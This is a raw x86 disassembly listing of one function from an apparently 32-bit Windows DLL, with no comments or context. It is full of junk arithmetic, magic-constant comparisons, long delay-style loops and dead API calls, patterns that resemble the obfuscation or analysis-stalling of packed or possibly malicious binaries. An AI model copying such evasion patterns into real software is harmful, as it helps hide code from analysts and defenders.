mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 1
jge 0x1003f4bd
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x12d8]
call fcn.1002129c
mov dword [eax], 1
jmp 0x1003f49a
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x1670], eax
mov eax, dword [ebp - 0x148]
cmp dword [ebp - 0x148], eax
jle 0x1003f4e3
mov dword [ebp - 0xb24], 1
jmp 0x1003f4ea
and dword [ebp - 0xb24], 0
cmp dword [ebp - 0xb24], 0x3df603fa
jge 0x1003f502
mov dword [ebp - 0xb2c], 1
jmp 0x1003f509
and dword [ebp - 0xb2c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb2c]
mov dword [ebp + eax - 0x120c], ecx
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0x120c]
push 0
lea ecx, [ebp - 0x12d8]
call fcn.1002129c
mov dword [eax], esi
mov dword [ebp - 0x148], 0
jmp 0x1003f551
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0
jg 0x1003f5a5
mov dword [ebp - 0x1414], 1
mov dword [ebp - 0x1534], 0xffffffff
mov dword [ebp - 0x141c], 0
mov dword [ebp - 0x1614], 1
mov dword [ebp - 0x1424], 0xffffffff
mov dword [ebp - 0xb34], 0xffffffff
mov eax, dword [ebp - 0xb34]
inc eax
mov dword [ebp - 0xb34], eax
jmp 0x1003f544
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12d8]
call fcn.10021280
mov eax, dword [ebp - 0xdc8]
mov ecx, dword [ebp - 0x190]
add ecx, dword [eax]
mov dword [ebp - 0xe0], ecx
push 2
lea ecx, [ebp - 0x598]
call fcn.100211fe
mov dword [ebp - 4], 0x33
mov dword [ebp - 0xb54], 0xa23e86f8
mov dword [ebp - 0xdd0], 4
mov dword [ebp - 0x153c], 1
mov dword [ebp - 0x142c], 0xf0c3da55
mov dword [ebp - 0x1690], 0x7df2ddfd
mov dword [ebp - 0x1434], 0x762406c4
mov dword [ebp - 0x1544], 0x1e525036
mov dword [ebp - 0x10], 0
jmp 0x1003f632
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jge 0x1003f648
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x198], 0xffffffff
jmp 0x1003f62b
mov dword [ebp - 0x10], 0
jmp 0x1003f658
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1003f674
push dword [ebp - 0x10]
lea ecx, [ebp - 0x598]
call fcn.1002129c
mov dword [eax], 0x76f5020f
jmp 0x1003f651
mov dword [ebp - 0x10], 0
jmp 0x1003f684
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1003f69a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x16f0], 1
jmp 0x1003f67d
mov dword [ebp - 0x10], 0
jmp 0x1003f6aa
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1003f6c0
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x19b8], 1
jmp 0x1003f6a3
mov dword [ebp - 0x10], 0
jmp 0x1003f6d0
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1003f6e6
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x194c], 1
jmp 0x1003f6c9
mov dword [ebp - 0x10], 0
jmp 0x1003f6f6
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jge 0x1003f70c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb6c], 1
jmp 0x1003f6ef
mov dword [ebp - 0x10], 0
jmp 0x1003f71c
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jge 0x1003f732
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb74], 0xde6a6b93
jmp 0x1003f715
push 0
lea ecx, [ebp - 0x598]
call fcn.1002129c
and dword [eax], 0
jmp 0x1003f768
push 0
lea ecx, [ebp - 0x598]
call fcn.1002129c
cmp dword [eax], 0
jg 0x1003f988
mov dword [ebp - 0x5ec], 0xff3de036
mov dword [ebp - 0xde0], 9
mov dword [ebp - 0x143c], 0x5a06c0f1
mov dword [ebp - 0x1624], 1
mov dword [ebp - 0x544], 0
jmp 0x1003f7bf
cmp dword [ebp - 0x544], 1
jge 0x1003f7db
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb74]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xb74], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x598]
call fcn.10021280
mov eax, dword [ebp - 0xe0]
cmp eax, dword [ebp - 0xc8]
jbe 0x1003ff41
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0xc8]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0xe0], edx
jae 0x1003ff41
mov dword [ebp - 0xd8], 0xa631
mov dword [ebp - 0xe08], 0xffffffff
mov dword [ebp - 0xe10], 0xfffffffd
cmp dword [ebp - 0xd8], 0
je 0x1004009f
mov dword [ebp - 0xc44], 0x4407
mov dword [ebp - 0xe28], 0x1000b350
cmp dword [ebp - 0xc44], 0x453b
jle 0x1004031a
and dword [ebp - 0x58c], 0
jmp 0x100402b1
mov eax, dword [ebp - 0x58c]
inc eax
mov dword [ebp - 0x58c], eax
cmp dword [ebp - 0x58c], 0x4c1a
jge 0x10040312
and dword [ebp - 0x3f0], 0
jmp 0x100402d3
mov eax, dword [ebp - 0x3f0]
inc eax
mov dword [ebp - 0x3f0], eax
cmp dword [ebp - 0x3f0], 0xc2c
jge 0x10040310
mov eax, dword [ebp - 0x58c]
add eax, dword [ebp - 0x3f0]
cdq
mov dword [ebp - 0x1050], eax
mov dword [ebp - 0x104c], edx
push dword [ebp - 0x104c]
push dword [ebp - 0x1050]
mov ecx, 0x10084b98
call fcn.10020ee4
jmp 0x100402c6
jmp 0x100402a4
push 0
call dword [sym.imp.USER32.dll_GetQueueStatus]
mov dword [ebp - 0xe8], 0x69fdf99f
mov dword [ebp - 0xc04], 0
mov dword [ebp - 0xc2c], 0
mov dword [ebp - 0xe8], 0
jmp 0x10040351
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0
jge 0x100404ab
mov dword [ebp - 0x604], 4
mov dword [ebp - 0xe20], 0xfffffffd
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0x604], eax
jl 0x1004038c
mov dword [ebp - 0xc14], 1
jmp 0x10040393
and dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0xc04], eax
mov eax, dword [ebp - 0xc04]
mov dword [ebp - 0x145c], eax
mov eax, dword [ebp - 0x604]
mov dword [ebp - 0x1634], eax
mov eax, dword [ebp - 0x604]
mov dword [ebp - 0x1464], eax
mov eax, 0xf97812a3
cmp eax, 0xfffffff8
ja 0x100403d9
mov dword [ebp - 0xc0c], 1
jmp 0x100403e0
and dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0xc2c]
cmp dword [ebp - 0xc0c], eax
jge 0x100403fa
mov dword [ebp - 0xc1c], 1
jmp 0x10040401
and dword [ebp - 0xc1c], 0
mov eax, dword [ebp - 0xc14]
cmp eax, dword [ebp - 0xc1c]
jl 0x1004041b
mov dword [ebp - 0xc24], 1
jmp 0x10040422
and dword [ebp - 0xc24], 0
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0xc24], eax
je 0x1004043c
mov dword [ebp - 0xc34], 1
jmp 0x10040443
and dword [ebp - 0xc34], 0
mov eax, dword [ebp - 0xc2c]
cmp dword [ebp - 0xc34], eax
je 0x1004045d
mov dword [ebp - 0xe18], 1
jmp 0x10040464
and dword [ebp - 0xe18], 0
cmp dword [ebp - 0xe8], 1
ja 0x10040479
mov dword [ebp - 0xc3c], 1
jmp 0x10040480
and dword [ebp - 0xc3c], 0
mov eax, dword [ebp - 0xc3c]
mov dword [ebp - 0xe20], eax
mov byte [ebp - 0x152], 0
movzx eax, byte [ebp - 0x152]
test eax, eax
je 0x100404a6
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
jmp 0x10040344
cmp dword [ebp - 0xc44], 0x4303
jge 0x100404c7
mov edx, dword [ebp - 0xe28]
mov ecx, 0x10084b98
call fcn.10023c34
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret